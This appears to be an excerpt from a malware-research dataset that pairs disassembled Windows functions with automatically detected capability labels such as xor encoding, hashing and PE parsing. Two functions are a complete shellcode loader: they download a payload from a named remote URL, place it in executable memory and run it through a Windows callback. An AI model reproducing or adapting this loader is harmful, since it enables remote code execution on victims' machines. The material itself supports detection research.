joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400904c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140090521
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x1400904e0
mov ecx, dword [r9]
jmp 0x14009060b
cmp ecx, 0x4e0
jb 0x14009060b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140090540
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140090590
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140091580
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400915ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400915ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400915ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400915ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400915ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400915cc
xor al, al
add rsp, 0x28
ret
Function at 0x1400917c0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400917fa
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400917ff
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140091848
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140095c60]
cmp byte [rcx + rax], 0
je 0x140091848
dec r8
sub rdx, 1
jne 0x14009182e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140133bbd
Capabilities:
Encode data using base64

Disassembly:
call fcn.14015bcf5
mov ebp, 0x802011c
movzx eax, bp
mov rbp, qword [r11 + rbp*8 - 0x401008e0]
lea rax, [rax + rax*8 - 0x1cd23057]
inc rax
not al
lea r11, [r11 + rax*2 + 0x39a44d56]
lea r10, [r10 + rax*2 + 0x39a44d4d]
shr al, 0x27
dec al
shl al, 0x44
movzx eax, byte [r10 + rax*2 + 0x39a44c20]
js 0x14015d11f
call fcn.140175757
jmp 0x14013a314
mov ebp, 0xa7b7f010
movsx edx, bpl
mov rbp, qword [rdx + rbx - 0x10]
sub dx, 0xde89
add dl, dh
xor edx, edx
add dl, byte [rbx + rdx*8 + 8]
push 0x7a13878c
shr qword [rsp], 0xd1
add rbx, 0xa
push 0x250e5237
not qword [rsp + 7]
call fcn.140135de8
mov r11d, 0x19831588
mov r11w, word [r11 + rbx - 0x19831588]
mov dx, word [rbx + 2]
call fcn.14015fffb

Function at 0x1401526a6
Capabilities:
Encode data using base64

Disassembly:
lea rsp, [rsp + 0x20]
jbe fcn.140164891
push 0x259f5524
neg r11w
xor si, r11w
shl word [rsp + 0x10], 0xe1
lea r11, [rsp + r11 + 0x18]
mov qword [r11], r8
push 0x300ce402
jno 0x14013deed
Function at 0x140005b30
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140005b91
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140005b50
mov ecx, dword [r9]
jmp 0x140005c7b
cmp ecx, 0x4e0
jb 0x140005c7b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140005bb0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140005c00
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x1400066e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000672a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000672a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000672a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000672a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000672a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000672c
xor al, al
add rsp, 0x28
ret
Function at 0x140007020
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r8, rcx
or eax, 0xffffffff
movzx ecx, byte [rcx]
test cl, cl
je 0x1400070ca
movzx edx, cl
lea r8, [r8 + 1]
xor eax, edx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140007031
not eax
ret
Function at 0x140007130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
lea rbp, [rsp - 0x1050]
mov eax, 0x1150
call fcn.1400163f0
sub rsp, rax
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rsp + 0x1170], rbx
mov qword [rsp + 0x1178], rdi
mov rax, qword [0x140068088]
xor rax, rsp
mov qword [rbp + 0x1040], rax
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x58]
call fcn.14000c310
nop
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call fcn.14003ead0
nop
lea rcx, [rsp + 0x58]
call fcn.14000c3b0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x840]
call fcn.140016ea0
lea rcx, [rsp + 0x38]
call fcn.140011750
test rax, rax
je 0x1400071fb
mov r9d, ebx
lea r8, [rbp + 0x840]
nop dword [rax]
mov rdx, r9
lea rcx, [rsp + 0x38]
call fcn.140011860
movzx ecx, byte [rax]
mov byte [r8], cl
inc ebx
lea r8, [r8 + 1]
movsxd r9, ebx
lea rcx, [rsp + 0x38]
call fcn.140011750
cmp r9, rax
jb 0x1400071d0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0xc40]
call fcn.140016ea0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x428], xmm0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x440]
call fcn.140016ea0
mov word [rbp + 0x41e], 0x3939
mov dword [rbp + 0x400], 0x37383843
mov dword [rbp + 0x40f], 0x42324436
mov dword [rbp + 0x405], 0x44433234
mov word [rbp + 0x418], 0x4342
mov dword [rbp + 0x413], 0x42413436
mov word [rbp + 0x40c], 0x3945
mov word [rbp + 0x409], 0x4132
mov byte [rbp + 0x420], 0
mov byte [rbp + 0x40b], reloc.OLEAUT32.dll_VarI2FromBool
mov byte [rbp + 0x404], 0x44
mov word [rbp + 0x41b], 0x3836
mov byte [rbp + 0x41a], 0x46
mov byte [rbp + 0x417], 0x43
mov byte [rbp + 0x40e], 0x46
mov byte [rbp + 0x41d], 0x46
lea r8, [rbp + 0x400]
mov edx, 0x400
lea rcx, [rbp + 0x440]
call fcn.14001a164
lea rcx, [rbp - 0x80]
call fcn.140007c20
nop
lea r8, [rbp + 0x428]
lea rdx, [rbp + 0x440]
lea rcx, [rbp - 0x80]
call fcn.140007c40
lea rcx, [rsp + 0x38]
call fcn.140011750
mov r9, rax
lea r8, [rbp + 0xc40]
lea rdx, [rbp + 0x840]
lea rcx, [rbp - 0x80]
call fcn.1400403c0
lea rdx, [rbp + 0xc50]
mov rcx, rdi
call fcn.14000c310
nop
lea rcx, [rbp - 0x80]
call fcn.1400403a0
nop
lea rcx, [rsp + 0x38]
call fcn.140011880
mov rax, rdi
mov rcx, qword [rbp + 0x1040]
xor rcx, rsp
call fcn.140015740
lea r11, [rsp + 0x1150]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140012900
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
cmp byte [rcx + 8], 0
mov r9, rcx
je 0x14001293b
xor ecx, ecx
cmp dword [r9 + 0x3d0], ecx
jle 0x140012936
sub r8, rdx
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
inc ecx
xor byte [rdx], al
lea rdx, [rdx + 1]
cmp ecx, dword [r9 + 0x3d0]
jl 0x140012920
add rsp, 0x48
ret
mov rdx, qword [0x14006a878]
lea rcx, [rsp + 0x20]
call fcn.14000ff50
lea rdx, [0x140066288]
lea rcx, [rsp + 0x20]
call fcn.1400186c8
int3

Function at 0x140019b90
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
neg rcx
test rax, 7
je 0x140019bad
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x140019c08
test al, 7
jne 0x140019ba0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140019bc1
mov rdx, qword [rax - 8]
test dl, dl
je 0x140019c32
test dh, dh
je 0x140019c2c
shr rdx, 0x10
test dl, dl
je 0x140019c26
test dh, dh
je 0x140019c20
shr rdx, 0x10
test dl, dl
je 0x140019c1a
test dh, dh
je 0x140019c14
shr edx, 0x10
test dl, dl
je 0x140019c0e
test dh, dh
jne 0x140019bc1
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400225c4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140022457
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140022457
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140022457
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140022457
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140022457
cmp dword [rcx + 0x84], 0xe
jbe 0x140022457
cmp dword [rcx + 0xf8], 0
je 0x140022457
mov ecx, ebx
call fcn.1400224f8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400222e8
cmp dword [rbp + 0x20], 0
je 0x1400224a4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400224ac
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400223f0
Function at 0x1400339d0
Capabilities:
Hash data with md5

Disassembly:
push rbx
sub rsp, 0x20
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x5c]
call fcn.140016ea0
mov eax, 1
mov dword [rbx], 0x67452301
mov dword [rbx + 4], 0xefcdab89
mov dword [rbx + 8], 0x98badcfe
mov dword [rbx + 0xc], 0x10325476
add rsp, 0x20
pop rbx
ret

Function at 0x140034b70
Capabilities:
Check http status code

Disassembly:
mov r11, rsp
push r14
sub rsp, 0xa0
mov qword [r11 - 0x58], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov rax, qword [0x140068088]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rsi, rcx
xor dil, dil
lea rcx, [r11 - 0x30]
call fcn.140010770
nop
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000b8a0
mov rdx, rax
xor ecx, ecx
call fcn.140035400
mov r8d, eax
mov r14d, 1
mov r9d, r14d
mov rcx, rsi
call fcn.140035500
nop
lea rcx, [rsp + 0x78]
call fcn.14000ce50
cmp byte [rsi + 0x20], dil
je 0x140034c89
lea rcx, [rsp + 0x78]
call fcn.140035380
nop
mov rcx, rax
call fcn.14000c380
mov rdx, rax
mov dword [rsp + 0x30], 0x4080000
lea r8, [0x14005b540]
mov rcx, qword [rsi + 0x30]
call fcn.1400084a0
mov rbx, rax
lea rcx, [rsp + 0x78]
call fcn.14000c3b0
test rbx, rbx
je 0x140034c81
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140041cb0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x48], 4
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov edx, 0x20000013
mov rcx, rbx
call fcn.1400083f0
movzx edi, dil
cmp dword [rsp + 0x40], 0xc8
cmove edi, r14d
mov rcx, rbx
call fcn.1400082b0
mov rcx, rsi
call fcn.1400354c0
movzx eax, dil
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140015740
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140038ca0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
call fcn.1400017f0
test eax, eax
js 0x140038ede
mov eax, dword [rbx + 0xf0]
xor r10d, r10d
shl eax, 2
movsxd r9, eax
test eax, eax
jle 0x140038d2d
lea r8, [rbx + 8]
lea r8, [r8 + r9*4]
lea rax, [rbx + 8]
nop word [rax + rax]
mov edx, dword [rax - 8]
add r10, 4
mov ecx, dword [r8 - 8]
lea r8, [r8 - 0x10]
mov dword [rax - 8], ecx
lea rax, [rax + 0x10]
mov ecx, dword [r8 + 0xc]
sub r9, 4
mov dword [r8 + 8], edx
mov edx, dword [rax - 0x14]
mov dword [rax - 0x14], ecx
mov ecx, dword [r8 + 0x10]
mov dword [r8 + 0xc], edx
mov edx, dword [rax - 0x10]
mov dword [rax - 0x10], ecx
mov ecx, dword [r8 + 0x14]
mov dword [r8 + 0x10], edx
mov edx, dword [rax - 0xc]
mov dword [rax - 0xc], ecx
mov dword [r8 + 0x14], edx
cmp r10, r9
jl 0x140038ce0
mov r11d, 1
cmp dword [rbx + 0xf0], r11d
jle 0x140038edc
mov qword [rsp + 0x30], rdi
lea r10, [rbx + 2]
lea rdi, [0x140000000]
mov r8d, dword [r10 + 0xe]
lea r10, [r10 + 0x10]
mov eax, r8d
inc r11d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x552a0]
movzx eax, byte [r10 - 1]
mov r9d, dword [rdi + rdx*4 + 0x54ea0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
movzx eax, r8b
xor r9d, dword [rdi + rcx*4 + 0x546a0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
movzx eax, byte [r10]
xor r9d, dword [rdi + rcx*4 + 0x542a0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
movzx eax, byte [r10 + 3]
xor r9d, dword [rdi + rcx*4 + 0x54aa0]
movzx edx, byte [rdi + rax*4 + 0x552a0]
movzx eax, byte [r10 + 4]
mov dword [r10 - 2], r9d
mov r9d, dword [r10 + 2]
mov r8d, dword [rdi + rdx*4 + 0x546a0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x54aa0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
movzx eax, r9b
mov r9d, dword [r10 + 6]
xor r8d, dword [rdi + rcx*4 + 0x54ea0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
movzx eax, byte [r10 + 7]
xor r8d, dword [rdi + rcx*4 + 0x542a0]
movzx edx, byte [rdi + rax*4 + 0x552a0]
movzx eax, byte [r10 + 8]
mov dword [r10 + 2], r8d
mov r8d, dword [rdi + rdx*4 + 0x546a0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x54aa0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
movzx eax, r9b
mov r9d, dword [r10 + 0xa]
xor r8d, dword [rdi + rcx*4 + 0x54ea0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
movzx eax, byte [r10 + 0xb]
xor r8d, dword [rdi + rcx*4 + 0x542a0]
movzx edx, byte [rdi + rax*4 + 0x552a0]
movzx eax, byte [r10 + 0xc]
mov dword [r10 + 6], r8d
mov r8d, dword [rdi + rdx*4 + 0x546a0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x54aa0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x54ea0]
movzx ecx, byte [rdi + rax*4 + 0x552a0]
xor r8d, dword [rdi + rcx*4 + 0x542a0]
mov dword [r10 + 0xa], r8d
cmp r11d, dword [rbx + 0xf0]
jl 0x140038d50
mov rdi, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1400010aa
Capabilities:
Create http request
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
jmp 0x1400013c8
mov rax, rsp
mov qword [rax + 0x20], rbx
push rdi
sub rsp, 0x30
xor edi, edi
lea rcx, str.54as3
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
mov dword [rax + 8], edi
mov dword [rax + 0x10], edi
mov dword [rax + 0x18], edi
mov dword [rax - 0x18], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rdx, str.http:__xingpai.weilay.com.cn_llq.rar
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov edx, 0x20000005
mov rcx, rax
mov rbx, rax
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [rsp + 0x40]
call fcn.140004ad0
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [rsp + 0x40]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140004770
xor r8d, r8d
mov edx, 0x800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov rcx, rdi
call fcn.140004ab0
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x1400013c8
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
jmp 0x1400013c8
mov rax, rsp
mov qword [rax + 0x20], rbx
push rdi
sub rsp, 0x30
xor edi, edi
lea rcx, str.54as3
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
mov dword [rax + 8], edi
mov dword [rax + 0x10], edi
mov dword [rax + 0x18], edi
mov dword [rax - 0x18], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rdx, str.http:__xingpai.weilay.com.cn_llq.rar
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov edx, 0x20000005
mov rcx, rax
mov rbx, rax
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [rsp + 0x40]
call fcn.140004ad0
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [rsp + 0x40]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140004770
xor r8d, r8d
mov edx, 0x800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov rcx, rdi
call fcn.140004ab0
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14000fc87
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140624510]
jne 0x1400058fa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400058f6
repz ret
ror rcx, 0x10
jmp 0x14000fbe0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140626240]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140626338]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000fc65
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140626240]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000fc87
mov rax, qword [rsp + 0x88]
mov qword [0x140626338], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1406262d8], rax
mov rax, qword [0x140626338]
mov qword [0x1406261b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1406262c0], rax
mov dword [0x1406261a0], 0xc0000409
mov dword [0x1406261a4], 1
mov rax, qword [0x140624510]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140624518]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140626238], eax
mov ecx, 1
call fcn.14001fc50
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400694f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140626238], 0
jne 0x14000fd0e
mov ecx, 1
call fcn.14001fc50
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x40b530
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r14
push r13
push rdi
push rsi
push rbx
sub rsp, 0x30
mov qword [rsp + 0x28], rcx
mov ebx, edx
mov rax, qword [rsp + 0x28]
mov r13d, dword [rax + 0x18]
mov rcx, qword [rsp + 0x28]
call fcn.0040bad0
mov esi, eax
test sil, sil
jne 0x40b6f2
test ebx, ebx
je 0x40b6f2
xor rdi, rdi
test r13d, r13d
jle 0x40b60f
call sub.kernel32.dll_GetTickCount
mov r14d, eax
test r13d, r13d
jle 0x40b5ee
cmp ebx, 0xffffffff
je 0x40b59b
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jb 0x40b59b
xor rsi, rsi
jmp 0x40b6f2
mov rax, qword [rsp + 0x28]
cmp dword [rax], 1
jg 0x40b5ee
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0
jne 0x40b5e0
xor eax, eax
mov ecx, 1
mov rdx, qword [rsp + 0x28]
lock cmpxchg dword [rdx], ecx
test eax, eax
jne 0x40b5e0
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rsp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov sil, 1
jmp 0x40b6f2
call fcn.0040bc60
sub r13d, 1
test r13d, r13d
jg 0x40b582
nop
cmp ebx, 0xffffffff
je 0x40b60f
call sub.kernel32.dll_GetTickCount
mov ecx, eax
sub ecx, r14d
cmp ecx, ebx
jb 0x40b60a
xor rsi, rsi
